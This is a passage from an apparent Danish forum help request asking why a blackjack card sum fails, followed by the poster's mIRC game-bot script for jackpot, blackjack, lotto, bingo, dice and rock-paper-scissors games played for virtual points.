mangle hjælpe... min blackjack vil ikke samle summe på mine kort
on *:text:!jackpot:#: {
if ($auth($nick) != 0) {
if ($points($nick)) {
if ($points($nick) >= 25) {
$Rempoints($nick,25) | inc %jp.pot 25 | var %jp.1 $replace($rand(1,3),1,Æble,2,Jorbær,3,Banan) | set %jp.2 $replace($rand(1,3),1,Æble,2,Jorbær,3,Banan) | set %jp.3 $replace($rand(1,3),1,Æble,2,Jorbær,3,Banan)
msg $chan %ggtag Du trækker: %jp.1 - %jp.2 - %jp.3 %ggtag
if (%jp.1 isin %jp.2) && (%jp.2 isin %jp.3) {
msg $chan %ggtag Tillykke, du fik 3 rigtige og vinder %jp.pot points %ggtag | $Givpoints($nick,%jp.pot) | set %jp.pot 100
}
else { msg $chan %ggtag Desvære, du fik ikke 3 rigtige. Puljen er nu på: $+ %jp.pot $+ %ggtag Brug !jackpot for at vinde den %ggtag }
}
else { msg $chan %ggtag Du har ikke 25 points. Brug !cashup for at modtage 50 points %ggtag }
}
else { msg $chan %ggtag Du skal være registret i botten for at bruge denne command. Brug !reg for at blive det %ggtag }
}
else { msg $chan %ggtag Du skal være authed for at bruge denne command. Er du authed prøv: !reg %ggtag }
}
alias omsæt {
return $replace($1,$chr(91),$chr(40),$chr(93),$chr(41))
}
alias auth {
return $readini(database.ini,nickauth,$omsæt($1))
}
alias closepm {
close -m
unset %closepm
}
alias points {
var %c = $readini(database.ini,nickauth,$omsæt($1))
return $readini(points.ini,points,%c)
}
alias Givpoints {
return writeini points.ini points $auth($1) $calc($points($1) + $2)
}
alias Rempoints {
return writeini points.ini points $auth($1) $calc($points($1) - $2)
}
alias ssp.sats {
return %ssp.sats
}
alias sspend {
unset %ssp*
timer 1 30 unset %game
}
alias addedssp {
timerfindssp off
msg $1 %ggtag Ssp er nu stoppet da ingen joinede! %ggtag
timer 1 1 sspend
}
alias dice {
timerdice off
set %dice.add off
if (%dice.med <= 1) {
msg $1 %ggtag Der var ingen der joinede, Dice stoppet %ggtag
$Givpoints($2,%dice.sats)
diceend $1
}
if (%dice.med > 1) {
set %dice.lotto $gettok(%dice.tilmeldte,$r(1,%dice.med),32)
msg $1 %ggtag Så har vi en vinder: %dice.lotto $+ , og du modtager nu: %dice.prize points %ggtag
$Givpoints(%dice.lotto,%dice.prize)
timer 1 1 diceend $1
}
}
alias bingotal {
:tal
set %tal $rand(1,99)
if ($istok(%tallene,%tal,32)) { goto tal }
else {
inc %tallet
msg %bingo.chan %ggtag $+ %tal $+ %ggtag
set %tallene %tallene %tal
if (%tallet == 10 || %tallet == 20 || %tallet == 30 || %tallet == 40 || %tallet == 50 || %tallet == 60 || %tallet == 70 || %tallet == 80 || %tallet == 90) {
}
if (%tallet == 99) {
timerbingo off
timer 1 1 msg %bingo.chan %ggtag Alle tallene er taget skriv: /msg $me !bingo %ggtag
}
}
}
alias bingoend {
timer 1 30 unset %game
unset %bingo*
unset %plade*
unset %tal*
halt
}
alias diceend {
unset %dice.lotto
unset %dice.sats
unset %dice.prize
unset %dice.tilmeldte
unset %sry
unset %dice.med
unset %dice.add
timer 1 10 unset %game
timer 1 60 set %antidice $+ $1 off
}
alias lottoprize {
mode $1 +m
timerlottowin off
unset %winchance
unset %kupon.spam.*
if (!%lotto.tal) {
msg $1 %ggtag Der var ingen vinder den her gang... - Pointsne vil gå over i næste spil %ggtag
msg $1 %ggtag Lotto Prize er nu oppe på: %lotto.superprize %ggtag
remove lotto.ini
timeradden 18:00 1 1 /adden $1
timer 1 2 unset %lotto.tal
timer 1 2 msg $1 %ggtag Tilmeldingerne til næste lotto er open nu! %ggtag
timer 1 3 set %lotto.tilmeld on
timer 1 4 mode $1 -m
halt
}
if (%lotto.tal) {
msg $1 %ggtag Denne gang var der: %lotto.tal vindere %ggtag
msg $1 %ggtag $iif(%lotto.tal > 1,De,Han) skal dele %lotto.superprize points! 2,0[G7G2]
var %i = 1,%c = %lotto.tal,%q = $calc(%lotto.superprize / %lotto.tal)
while (%i <= %c) {
msg $gettok(%lotto.nick.win,%i,32) %ggtag Du har nu modtaget: $round(%q,0) Points. - Tillykke %ggtag
$Givpoints($gettok(%lotto.nick.win,%i,32),$round(%q,0))
inc %i
}
timer 1 1 unset %lotto.superprize
timer 1 1 set %lotto.tilmeld on
timer 1 2 msg $1 %ggtag Tilmeldingerne til næste lotto er open nu! %ggtag
timer 1 3 remove lotto.ini
timer 1 3 unset %lotto.tal
timer 1 3 unset %lotto.nick.win
timer 1 3 unset %kupon.spam*
timer 1 3 set %lotto.superprize 10000
timer 1 5 mode $1 -m
timeradden 18:00 1 1 /adden $1
}
}
alias -l blackjackvinder {
.var %x = 1 | while (%x <= $numtok(%blackjacknick,32)) {
if (%blackjackstop- [ $+ [ $gettok(%blackjacknick,%x,32) ] ] != IS) {
if (!%s && 21 >= %blackjackstop- [ $+ [ $gettok(%blackjacknick,%x,32) ] ]) { .var %s = %blackjackstop- [ $+ [ $gettok(%blackjacknick,%x,32) ] ],%ss = $gettok(%blackjacknick,%x,32) }
elseif ($gettok(%s,1,32) < %blackjackstop- [ $+ [ $gettok(%blackjacknick,%x,32) ] ] && 21 >= %blackjackstop- [ $+ [ $gettok(%blackjacknick,%x,32) ] ]) { .var %s = %blackjackstop- [ $+ [ $gettok(%blackjacknick,%x,32) ] ], %ss = $gettok(%blackjacknick,%x,32) }
elseif ($gettok(%s,1,32) == %blackjackstop- [ $+ [ $gettok(%blackjacknick,%x,32) ] ] && 21 >= %blackjackstop- [ $+ [ $gettok(%blackjacknick,%x,32) ] ]) { .var %s = %s %blackjackstop- [ $+ [ $gettok(%blackjacknick,%x,32) ] ], %ss = %ss $gettok(%blackjacknick,%x,32) }
}
.inc %x
}
.var %vandt = $floor($calc($calc($numtok(%blackjacknick,32) * %blackjacksats) / $numtok(%s,32)))
.var %xx = $calc($numtok(%blackjacknick,32) * %blackjacksats)
if ($numtok(%s,32) == 1) {
.msg %blackjackchan %ggtag Så fandt vi en vinder af blackjack %ss fik $gettok(%s,1,32) og har vundet $calc($numtok(%blackjacknick,32) * %blackjacksats) points %ggtag
$Givpoints(%ss,%xx)
}
elseif ($numtok(%s,32) > 1) {
.msg %blackjackchan %ggtag Så fandt vi vores vindere af blackjack %ss de fik $gettok(%s,1,32) - Puljen på $calc($numtok(%blackjacknick,32) * %blackjacksats) points deles så de får %vandt points hver %ggtag
.var %x = 1 | while (%x <= $numtok(%blackjacknick,32)) {
if ($gettok(%blackjacknick,%x,32) isin %ss) {
$Givpoints($gettok(%blackjacknick,%x,32),%vandt)
}
.inc %x
}
}
else {
.msg %blackjackchan %ggtag Der er ingen vinder, så banken få alle jeres points %ggtag
}
.timerblackjacknext off
.timerblackjackmsg off
.timerblackjackbegynd off
.timerblackjackingen off
.timerblackjackingenn off
.timerblackjackingennn off
.unset %blackjack*
.timer 1 60 unset %game
}
alias -l blackjacknext {
.set %blackjackstop- [ $+ [ $gettok(%blackjacknick,%blackjacktur,32) ] ] IS
.var %x = $gettok(%blackjacknick,%blackjacktur,32) | .inc %blackjacktur
if ($gettok(%blackjacknick,%blackjacktur,32)) {
.msg %blackjackchan %ggtag %x svaret ikke, det er nu $gettok(%blackjacknick,%blackjacktur,32) $+ 's tur %ggtag
.timer 1 3 .blackjackmsg %blackjackchan $gettok(%blackjacknick,%blackjacktur,32)
.timerblackjacknext 1 30 .blackjacknext
}
else {
.msg %blackjackchan %ggtag %x er nu færdig med sin tur, lad os finde vinderen %ggtag
.blackjackvinder
}
else { .blackjackvinder }
}
alias -l blackjackbegynd {
;syntax $chan
.msg $1 %ggtag Så går blackjack igang og der bliver spillet om $calc($numtok(%blackjacknick,32) * %blackjacksats) points. Første person er $gettok(%blackjacknick,1,32) - Brug !hit/!hold i priv til mig %ggtag
.set %blackjacktur 1
.timer 1 3 .blackjackmsg $1 $gettok(%blackjacknick,1,32)
}
alias -l blackjackmsg {
;syntax $chan $nick
.var %kort1 = $r(2,14), %kort2 = $r(2,14)
.set %blackjackkort- [ $+ [ $2 ] ] %kort1 %kort2
.msg $2 %ggtag Dine kort $kort(%blackjackkort- [ $+ [ $2 ] ]) ( $+ $kortsum($2) $+ ) %ggtag
}
alias -l kort {
;syntax kort(værdi)
return $replace($1,11,B,12,D,13,K,14,ES)
}
alias kortsum {
;syntax nickpåkort
var %x = 1 | while (%x <= $numtok(%blackjackkort- [ $+ [ $1 ] ],32)) {
if ($gettok(%blackjackkort- [ $+ [ $1 ] ],%x,32) != 14) {
if (%y) { .var %y = $calc(%y + $replace($gettok(%blackjackkort- [ $+ [ $1 ] ],%x,32),11,10,12,10,13,10)) }
elseif (!%y) { .var %y = $replace($gettok(%blackjackkort- [ $+ [ $1 ] ],%x,32),11,10,12,10,13,10) }
}
.inc %x
}
}
if (14 isin %blackjackkort- [ $+ [ $1 ] ]) {
if ($count(%blackjackkort- [ $+ [ $1 ] ],14) == 1 && $calc(1 + %y) > 21) { return $calc(1 + %y) }
elseif ($count(%blackjackkort- [ $+ [ $1 ] ],14) == 1 && $calc(1 + %y) <= 21 && $calc(11 + %y) <= 21) { return $calc(1 + %y) / $calc(11 + %y) }
elseif ($count(%blackjackkort- [ $+ [ $1 ] ],14) == 1 && $calc(1 + %y) <= 21 && $calc(11 + %y) > 21) { return $calc(1 + %y) }
else {
var %x = 0, %f = $count(%blackjackkort- [ $+ [ $1 ] ],14) | while (%x <= %f) {
var %h = $calc($calc(11* %x) + %y + $calc(1 * $calc(%f - %x)))
if (%h <= 21) { .var %s = %s %h }
elseif ($count(%blackjackkort- [ $+ [ $1 ] ],14) == %x && %h > 21 && !%s) { .var %x = $count(%blackjackkort- [ $+ [ $1 ] ],14) }
.inc %x
}
if (!%s) { return $calc($calc(11* 0) + %y + $calc(1 * $calc(%f - 0))) }
}
}
elseif (14 !isin %blackjackkort- [ $+ [ $1 ] ]) { .var %s = %y }
return $replace(%s,$chr(32),$chr(32) / $chr(32))
alias adden {
unset %lotto.tal
timer 1 3600 lottoprize $1
unset %lotto.tilmeld
set %winchance on
var %i = 1, %c = 1
while (%i <= 1) {
unset %række.temp
while ($len(%Række.temp) != 23) { %række.rnd = $rand(1,50) | %række.Temp = $addtok(%række.Temp,$iif($len(%række.rnd) == 1,0 $+ %række.rnd,%række.rnd),32) }
.msg $1 %ggtag Dagens vinder tal er: %ggtag $sorttok(%Række.temp,32,n) %ggtag | writeini lotto.ini $auth($me) Vinder $sorttok(%Række.temp,32,n) | timer 1 1 msg $1 %ggtag Hvis du har vundet skriv: !win i priv til mig! %ggtag | set %c 1 | inc %i
.timerlottowin 6 600 /lottowin $1
}
unset %række*
}
alias lottowin {
msg $1 %ggtag Dagens vinder tal er: %ggtag $readini(lotto.ini,$auth($me),vinder) %ggtag | timer 1 1 msg $1 %ggtag Hvis du har vundet skriv: !win i priv til mig! %ggtag
}
alias lottobesked {
msg $1 %ggtag Husk at tilmelde jer til lotto kl 18:00 ved at bruge: !kupon - Prize er oppe på: %lotto.superprize - Ialt er: $ini(lotto.ini,0) tilmeldt til næste lotto %ggtag
}
alias sspkamp {
timerssp off
if (!%ssp.kamp.player1) && (!%ssp.kamp.player2) {
msg $3 %ggtag Ingen kæmpere har valgt! - I mister begge jeres point! %ggtag
$Rempoints($1,%ssp.sats)
$Rempoints($2,%ssp.sats)
timer -m 1 1500 sspend $3
halt
}
if (%ssp.kamp.player1) && (!%ssp.kamp.player2) {
msg $3 %ggtag $2 har ikke valgt noget! - $1 Vinder %ssp.sats points! %ggtag
$Givpoints($1,%ssp.sats)
$Rempoints($2,%ssp.sats)
timer 1 2 sspend $3
halt
}
if (!%ssp.kamp.player1) && (%ssp.kamp.player2) {
msg $3 %ggtag $1 har ikke valgt noget! - $2 Vinder %ssp.sats points! %ggtag
$Rempoints($1,%ssp.sats)
$Givpoints($2,%ssp.sats)
timer -m 1 1500 sspend $3
halt
}
if (%ssp.kamp.player1) && (%ssp.kamp.player2) {
if (%ssp.kamp.player1 == sten) && (%ssp.kamp.player2 == sten) { goto Uafgjort | halt }
if (%ssp.kamp.player1 == sten) && (%ssp.kamp.player2 == saks) { goto Win | halt }
if (%ssp.kamp.player1 == sten) && (%ssp.kamp.player2 == papir) { goto Lose | halt }
if (%ssp.kamp.player1 == papir) && (%ssp.kamp.player2 == sten) { goto Win | halt }
if (%ssp.kamp.player1 == papir) && (%ssp.kamp.player2 == saks) { goto Lose | halt }
if (%ssp.kamp.player1 == papir) && (%ssp.kamp.player2 == papir) { goto Uafgjort | halt }
if (%ssp.kamp.player1 == saks) && (%ssp.kamp.player2 == sten) { goto Lose | halt }
if (%ssp.kamp.player1 == saks) && (%ssp.kamp.player2 == saks) { goto Uafgjort | halt }
if (%ssp.kamp.player1 == saks) && (%ssp.kamp.player2 == papir) { goto Win | halt }
:Uafgjort
msg $3 %ggtag Denne kamp blev uafgjort! ( $+ %ssp.kamp.player1 $+ ) i får jeres points tilbage! %ggtag
sspend $3
halt
:Win
msg $3 %ggtag $1 vandt denne kamp med: ( $+ %ssp.kamp.player1 $+ ) - og du vil nu modtage $calc(%ssp.sats * 2) points! %ggtag
$Rempoints($2,%ssp.sats)
$Givpoints($1,%ssp.sats)
timer -m 1 1500 sspend $3
halt
:Lose
msg $3 %ggtag $2 vandt denne kamp med: ( $+ %ssp.kamp.player2 $+ ) - og han vil nu modtage $calc(%ssp.sats * 2) points! %ggtag
$Givpoints($2,%ssp.sats)
$Rempoints($1,%ssp.sats)
timer -m 1 1500 sspend $3
halt
}
}
alias gamble {
if (%gamble.kast1 == %gamble.kast2) && (%gamble.kast1 == %gamble.kast3) && (%gamble.kast2 == %gamble.kast3) {
if (%gamble.kast1 <= 3) {
msg $1 %ggtag Dette udløser en præmie på 50 points! %ggtag
$Givpoints($2,50)
gambleend
}
if (%gamble.kast1 >= 4) {
msg $1 %ggtag Dette udløser en præmie på 100 points! %ggtag
$Givpoints($2,100)
gambleend
}
}
else {
msg $1 %ggtag Dette gav ingen præmie... %ggtag
gambleend
}
}
alias tolv {
unset %cashup.spam*
timertolv 00:00 1 1 /tolv $1
}
alias timerstatus {
var %i = 1,%c = $timer(0)
while (%i <= %c) {
if ($timer(%i) == adden) {
if ($timer(%i).type == online) {
return online
halt
}
if ($timer(%i).type == offline) {
return offline
halt
}
}
inc %i
}
}
alias gambleend {
unset %gamble*
timer 1 12 unset %game
}
on *:join:#: {
if ($nick != $me) {
who $nick n%na
}
else {
who $chan
flood 200 10 2 30
timer -m 1 500 who $chan n%na
}
}
on *:part:#:{
if ($ini(database.ini,nickauth,$ini(database.ini,nickauth,$omsæt($nick)))) {
remini -n database.ini nickauth $ini(database.ini,nickauth,$ini(database.ini,nickauth,$omsæt($nick)))
}
if ($ini(database.ini,nickaddress,$ini(database.ini,nickaddress,$omsæt($nick)))) {
remini -n database.ini nickaddress $v1
}
if ($readini(wsif.ini,nick,$nick)) {
remini wsif.ini nick $nick
timer $+ $nick off
}
}
on *:quit:{
if ($ini(database.ini,nickauth,$ini(database.ini,nickauth,$omsæt($nick)))) {
remini -n database.ini nickauth $ini(database.ini,nickauth,$ini(database.ini,nickauth,$omsæt($nick)))
}
if ($ini(database.ini,nickaddress,$ini(database.ini,nickaddress,$omsæt($nick)))) {
remini -n database.ini nickaddress $v1
}
if ($readini(wsif.ini,nick,$nick)) {
remini wsif.ini nick $nick
timer $+ $nick off
}
}
on *:kick:#:{
if ($knick == $me) && ($chan == #Playgod.dk) {
timerjoin 0 10 join $chan
}
if ($ini(database.ini,nickauth,$ini(database.ini,nickauth,$omsæt($knick)))) {
remini -n database.ini nickauth $ini(database.ini,nickauth,$ini(database.ini,nickauth,$omsæt($knick)))
}
if ($ini(database.ini,nickaddress,$ini(database.ini,nickaddress,$omsæt($knick)))) {
remini -n database.ini nickaddress $v1
}
}
raw 354:*: {
if ($3 != 0) {
writeini -n database.ini nickauth $omsæt($2) $3
writeini -n database.ini nickaddress $omsæt($2) $address($2,2)
}
if ($3 == 0) {
writeini -n database.ini nickauth $omsæt($2) 0
writeini -n database.ini nickaddress $omsæt($2) $address($2,2)
}
}
on *:nick:{
if ($ini(database.ini,nickauth,$ini(database.ini,nickauth,$omsæt($nick)))) {
remini -n database.ini nickauth $ini(database.ini,nickauth,$ini(database.ini,nickauth,$omsæt($nick)))
}
if ($ini(database.ini,nickaddress,$ini(database.ini,nickaddress,$omsæt($nick)))) {
remini -n database.ini nickaddress $v1
}
who $newnick n%na
}
on *:text:*:#:{
if ($1 == !remove) {
if (%bingo.status == on) {
if (%bingo.plade == on) { halt }
if (%plade. [ $+ [ $auth($nick) ] ]) {
unset %plade. [ $+ [ $auth($nick) ] ]
dec %bingo.spillere
msg $chan %ggtag $nick er ikke med til bingo alligevel %ggtag ( $+ %bingo.spillere $+ / $+ %bingo.pladser $+ ) %ggtag
}
}
}
if ($1 == !tal) {
if ($nick isop $chan) {
if (%bingo.plade == on) {
msg $chan %ggtag Jeg har trukket %tallet tal ( $+ $round($calc(%tallet / 99 * 100),0) $+ % $+ ) %ggtag
}
}
}
if ($1 == !prize) {
if (%bingo.status == on) {
if (%bingoprize != on) {
set -u30 %bingoprize on
if (%bingo.pointprize) {
msg $chan %ggtag Bingo prize: %bingo.prize points %ggtag
}
if (!%bingo.pointprize) {
msg $chan %ggtag Bingo prize: %bingo.prize %ggtag
}
}
}
}
if ($1 == !bingo-off) {
if ($nick isop $chan) {
if (%bingo.status == on) {
timerbingo off
msg $chan %ggtag Bingo er nu OFF %ggtag
bingoend
}
}
}
if ($1 == !plade) {
if (%bingo.plade == on) { halt }
if (%bingo.pladespam == on) { halt }
if (%bingo.status == on) {
if (%plade. [ $+ [ $auth($nick) ] ]) { msg %bingo.chan %ggtag Du har allerede en plade. %ggtag skriv: /msg $me !vis-plade for at se din plade %ggtag | halt }
if ($auth($nick) == 0) { notice $nick %ggtag Du er ikke logget på auth. eller hop på $chan %ggtag | halt }
else {
set -u4 %bingo.pladespam on
inc %bingo.spillere
if (%bingo.spillere == %bingo.pladser) {
mode %bingo.chan +m
set %plade. [ $+ [ $auth($nick) ] ] $rand(1,15) $rand(16,25) $rand(26,35) $rand(36,50) $rand(51,65) $rand(66,72) $rand(73,85) $rand(86,99)
timer 1 1 msg $nick %ggtag Din plade er: %plade. [ $+ [ $auth($nick) ] ] %ggtag
timer 1 1 msg $nick %ggtag Husk at du må max skrive !bingo 3 gange før du bliver fjernet fra denne bingo - 4. gang = fjernet + ignore %ggtag
timer 1 1 set %bingo.plade on
timer 1 3 msg %bingo.chan %ggtag Så er vi klar Vent venligst 5 sek. før tallene kommer %ggtag
timerbingo 0 8 bingotal
}
if (%bingo.spillere != %bingo.pladser) {
set %plade. [ $+ [ $auth($nick) ] ] $rand(1,15) $rand(16,25) $rand(26,35) $rand(36,50) $rand(51,65) $rand(66,72) $rand(73,85) $rand(86,99)
timer 1 1 msg $nick %ggtag Din plade er: %plade. [ $+ [ $auth($nick) ] ] %ggtag
timer 1 1 msg $nick %ggtag Husk at du må max skrive !bingo 3 gange før du bliver fjernet fra denne bingo - 4. gang = fjernet + ignore %ggtag
timer 1 2 msg $chan %ggtag $nick er nu med på bingo ( $+ %bingo.spillere $+ / $+ %bingo.pladser $+ ) %ggtag
}
}
}
}
if ($1 == !Ryst-posen) {
if (%bingo.status == on) {
if ($nick isop $chan) {
msg $chan %ggtag skal nok ryster den skide pose! %ggtag
}
}
}
if ($1 == !set-pladser) {
if (%bingo.status == on) {
if ($nick isop $chan) {
if ($2 > %bingo.spillere) {
set %bingo.pladser $2
msg $chan %ggtag Pladser er nu sat til: $2 %ggtag
}
else { notice $nick %ggtag Du kan ikke sætte den længere ned end der er tilmeldte! %ggtag }
}
}
}
if ($1 == !bingo-on) {
if ($nick isop $chan) {
if (%bingo.status == on) { halt }
if ($2 isnum) && ($3 == points) && ($4 isnum) {
set %game on
set %bingo.pladser $2
set %bingo.prize $4
set %bingo.pointprize 1
set %bingo.status on
set %bingo.chan $chan
set %bingo.admin $nick
timer 1 1 msg %bingo.chan %ggtag Bingo er nu on. %ggtag Brug !plade for at være med i bingo'en %ggtag
timer 1 1 msg %bingo.chan %ggtag Når du har bingo skriver du: /msg $me !bingo %ggtag Spam til botten = udlukket af bingo'en!!! %ggtag
halt
}
if ($2 isnum) && ($3 != points) {
set %game on
set %bingo.pladser $2
set %bingo.prize $3-
set %bingo.status on
set %bingo.chan $chan
set %bingo.admin $nick
timer 1 1 msg %bingo.chan %ggtag Bingo er nu on. %bingo.logo Brug !plade for at være med i bingo'en %ggtag
timer 1 1 msg %bingo.chan %ggtag Når du har bingo skriver du: /msg $me !bingo %bingo.logo Spam til botten = udlukket af bingo'en!!! %ggtag
halt
}
}
}
if ($1 == !blackjack) {
if ($nick !isin %blackjacknick) {
if (!%blackjack && $2 >= 20 && $2 <= 100 && !$timer(blackjackbegynd)) {
if ($points($nick) >= $2) {
if (%game != on) {
$Rempoints($nick,$2)
.set %game on
.set %blackjack on
.msg $chan %ggtag Blackjack er startet af $nick sats er $2 skriv !blackjack for at deltage %ggtag
.set %blackjacksats $2 | .set %blackjacknick $nick | .set %blackjackchan $chan
.timerblackjackingen 1 60 .msg $chan %ggtag Blackjack er stoppet da ingen joined %ggtag
.timerblackjackingenn 1 60 .unset %blackjack*
.timerblackjackingennn 1 60 $Givpoints($nick,$2)
.timerblackjackingennnn 1 60 unset %game
}
}
else { .notice $nick %ggtag Du har ikke nok points %ggtag }
}
elseif (!%blackjack && !$2) {
.notice $nick %ggtag Brug !blackjack 'sats' uden ' - Sats mellem 20 og 100 points %ggtag
}
elseif (!%blackjack && $2 && $2 > 100 || $2 < 20) {
.notice $nick %ggtag Brug !blackjack 'sats' uden ' - Sats mellem 20 og 100 points %ggtag
}
elseif (%blackjack && $timer(blackjackingen) || $timer(blackjackbegynd)) {
if ($points($nick) >= %blackjacksats) {
if ($timer(blackjackingen)) { .timerblackjackingen off | .timerblackjackingenn off | .timerblackjackingennn off }
$Rempoints($nick,%blackjacksats)
.set %blackjacknick %blackjacknick $nick
.msg $chan %ggtag $nick er nu med på blackjack - Sats: %blackjacksats ( $+ Pulje $calc($numtok(%blackjacknick,32) * %blackjacksats) $+ ) %ggtag
.timerblackjackbegynd 1 60 .blackjackbegynd $chan
}
else { .notice $nick %ggtag Du har ikke nok points %ggtag }
}
}
}
if ($1 == !update) && ($chan == #) {
if ($auth($nick) == smusen ) {
if ($read(update.txt)) {
mode $chan +m
msg $chan %ggtag Update... Please wait! %ggtag
timer 1 5 load -rs Games.txt
timer 1 3 rename update.txt Games.txt
timer 1 1 remove Games.txt
timer 1 6 /msg $chan %ggtag Update Complete %ggtag
timer 1 7 /mode $chan -m
unload -rs Games.txt
}
}
}
if ($1 == !gamble) && (!$2) {
if (%game != on) {
if (%gamble.status != on) {
if ($points($nick) >= 20) {
$Rempoints($nick,20)
set %game on
set %gamble.status on
set %gamble.kast1 $r(1,6)
if (%gamble.kast1 != 3) {
set %gamble.kast2 $r(1,6)
set %gamble.kast3 $r(1,6)
}
elseif (%gamble.kast1 == 3) {
set %gamble.kast2 %gamble.kast1
set %gamble.kast3 %gamble.kast1
}
msg $chan %ggtag $nick gambler nu: %ggtag
timer 1 2 msg $chan %ggtag Første kast: %gamble.kast1 $+ 'er %ggtag Andet kast: %gamble.kast2 $+ 'er %ggtag Tredje kast: %gamble.kast3 $+ 'er %ggtag
timer 1 6 /gamble $chan $nick
}
}
}
}
if ($1 == !vis-kupon) {
if (%kupon.spam. [ $+ [ $auth($nick) ] ]) {
if (%kupon.spam. [ $+ [ $auth($nick) ] ] >= 1) {
if (%lotto.made != on) {
if ($readini(lotto.ini,$auth($nick),Status) == on) {
dec %kupon.spam. [ $+ [ $auth($nick) ] ]
set -u12 %lotto.made on
msg $nick %ggtag Række 1 %ggtag $readini(lotto.ini,$auth($nick),række1) %ggtag
timer 1 1 msg $nick %ggtag Række 2 %ggtag $readini(lotto.ini,$auth($nick),række2) %ggtag
timer 1 2 msg $nick %ggtag Række 3 %ggtag $readini(lotto.ini,$auth($nick),række3) %ggtag
timer 1 3 msg $nick %ggtag Række 4 %ggtag $readini(lotto.ini,$auth($nick),række4) %ggtag
timer 1 4 msg $nick %ggtag Række 5 %ggtag $readini(lotto.ini,$auth($nick),række5) %ggtag
timer 1 5 msg $nick %ggtag Række 6 %ggtag $readini(lotto.ini,$auth($nick),række6) %ggtag
timer 1 6 msg $nick %ggtag Række 7 %ggtag $readini(lotto.ini,$auth($nick),række7) %ggtag
timer 1 7 msg $nick %ggtag Række 8 %ggtag $readini(lotto.ini,$auth($nick),række8) %ggtag
timer 1 8 msg $nick %ggtag Denne Kupon kan kun vise %kupon.spam. [ $+ [ $auth($nick) ] ] gang(e) endnu %ggtag
}
else { %ggtag Du har ingen kupon! - Skriv: !kupon på $chan for at få en! %ggtag | halt }
}
else { notice $nick %ggtag En anden person er ved at få lavet eller ved at se sin kupon... Vent venligst 10 sek %ggtag | halt }
}
else { notice $nick %ggtag Du har allerede set din kupon 3 gange. og kan derfor ikke vises mere! %ggtag | halt }
}
else { notice $nick %ggtag Du har ingen kupon. Skriv: !kupon på $chan for at få en! %ggtag | halt }
}
if ($1 == !lotto) {
if ($nick isop $chan) {
if ($2 == on) {
if (%lotto.status. [ $+ [ $chan ] ] == off) || (%lotto.status. [ $+ [ $chan ] ] == $null) {
set %lotto.status. $+ $chan on
set %lotto.tilmeld on
timeradden 18:00 1 1 /adden $chan
timerhusk 0 3600 /Lottobesked $chan
notice $nick %ggtag Lotto script er nu startet! - tallene vil blive trukket kl 18:00 %ggtag
if (!%lotto.superprize) {
set %lotto.superprize 10000
halt
}
else {
halt
}
}
}
if ($2 == off) {
if (%lotto.status. [ $+ [ $chan ] ] == on) {
set %lotto.status. $+ $chan off
timeradden off
timerhusk off
set %lotto.tilmeld off
notice $nick %ggtag Lotto script er nu stoppet! %ggtag
}
}
if ($2 == timer) {
if (!$3) {
var %i = 1,%c = $timer(0)
while (%i <= %c) {
if ($timer(%i) == adden) {
if ($timer(%i).type == online) {
msg $nick %ggtag Lotto timer er online %ggtag
halt
}
if ($timer(%i).type == offline) {
msg $nick %ggtag Lotto timer er offline %ggtag
halt
}
}
inc %i
}
msg $nick %ggtag Lotto timer er offline %ggtag
}
if ($3 == on) {
timeradden 18:00 1 1 /adden $chan
timerhusk 0 3600 $Lottobesked($chan)
msg $nick %ggtag Done %ggtag
}
if ($3 == off) {
timeradden off
timerhusk off
msg $nick %ggtag Done %ggtag
}
}
if ($2 == status) {
msg $nick %ggtag Antal med til Lotto: $ini(lotto.ini,0) %ggtag
timer 1 1 msg $nick %ggtag Status for lotto: $timerstatus %ggtag
timer 1 2 msg $nick %ggtag Prize for lotto: %lotto.superprize %ggtag
}
}
}
if ($1 == !kupon) {
if (%lotto.tilmeld == on) {
if ($auth($nick) != 0) {
if ($points($nick) >= 20) {
if (!$readini(lotto.ini,$auth($nick),Status)) {
if (%lotto.made != on) {
inc %lotto.superprize 20
set -u15 %lotto.made on
writeini lotto.ini $auth($nick) Status on
$Rempoints($nick,20)
var %i = 1, %c = 1
msg $nick %ggtag Din lotto kupon bliver lavet. Vent Venligst... %ggtag
msg $nick %ggtag Tallene bliver udtrukket kl 18:00 %ggtag
while (%i <= 8) {
unset %række.temp
while ($len(%Række.temp) != 23) { %række.rnd = $rand(1,50) | %række.Temp = $addtok(%række.Temp,$iif($len(%række.rnd) == 1,0 $+ %række.rnd,%række.rnd),32) }
.timer 1 %i .msg $nick %ggtag Række %i %ggtag $sorttok(%Række.temp,32,n) %ggtag | writeini lotto.ini $readini(database.ini,nickauth,$replace($nick,$chr(91),$chr(40),$chr(93),$chr(41))) række $+ %i $sorttok(%Række.temp,32,n) | set %c 1 | inc %i
}
set %kupon.spam. $+ $auth($nick) 3
unset %række*
}
else { notice $nick %ggtag En anden er ved at få lavet en lotto kupon. Vent venligst 15 sek. %ggtag | halt }
}
else { notice $nick %ggtag Du har allerede en kupon! %ggtag | halt }
}
else { notice $nick %ggtag Du er ikke registret i spil botten. skriv: !reg på channel for at blive det! %ggtag | halt }
}
else { notice $nick %ggtag Du har ikke 20 points til at deltage i lotto %ggtag | halt }
}
}
if ($1 == !cashup) {
if ($points($nick) < 50) {
$Givpoints($nick,50)
notice $nick %ggtag Du har nu fået 50 points igen! %ggtag
}
elseif ($points($nick) > 50) {
notice $nick %ggtag Du har over 50 points! %ggtag
}
else {
notice $nick %ggtag Du er ikke regget i botten! !reg for at regge dig %ggtag
}
}
if ($1 == !dice) {
if (%antidice [ $+ [ $chan ] ] == off) || (%antidice [ $+ [ $chan ] ] == $null) {
if (%game != on) {
if ($points($nick) >= $2) {
if ($2 isnum) && ($2 <= 100) && ($2 >= 5) {
set %antidice $+ $chan on
$Rempoints($nick,$2)
msg $chan %ggtag Dice er nu on - sats er på: $2 $+ , Skriv !djoin for at joine %ggtag
set %game on
set %dice.sats $2
set %dice.prize $2
set %dice.tilmeldte $nick
set %dice.med 1
set %dice.add on
timerdice 0 60 dice $chan $nick
}
}
}
}
}
if ($1 == !reg) && ($2) {
if ($auth($2) != 0) {
if ($points($2) != 0) {
notice $nick %ggtag Jeg genkender $2 som: $auth($2) $+ , og med: $points($2) points! %ggtag
}
elseif ($points($2) == 0) {
notice $nick %ggtag Jeg genkender $2 som: $auth($2) $+ , og med: 0 point! %ggtag
}
}
else {
notice $nick %ggtag $2 er ikke logget på auth. %ggtag
}
}
if ($1 == !reg) && (!$2) {
if ($auth($nick) != 0) {
if (!$points($nick)) && ($points($nick) != 0) {
$Givpoints($nick,50)
msg $chan %ggtag Tillykke!!! - $nick er nu added i game botten og starter med 50 points! %ggtag
halt
}
if ($points($nick) != 0) {
